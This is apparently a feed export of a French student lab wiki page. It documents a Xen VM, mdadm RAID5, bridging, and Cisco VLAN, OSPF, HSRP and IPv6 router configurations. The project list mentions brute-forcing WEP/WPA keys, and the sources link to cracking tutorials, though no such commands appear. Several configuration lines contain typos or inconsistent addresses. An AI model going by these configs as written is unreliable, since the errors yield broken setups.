On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51566</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51566"/>
				<updated>2019-12-07T02:12:29Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Mise en place du DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
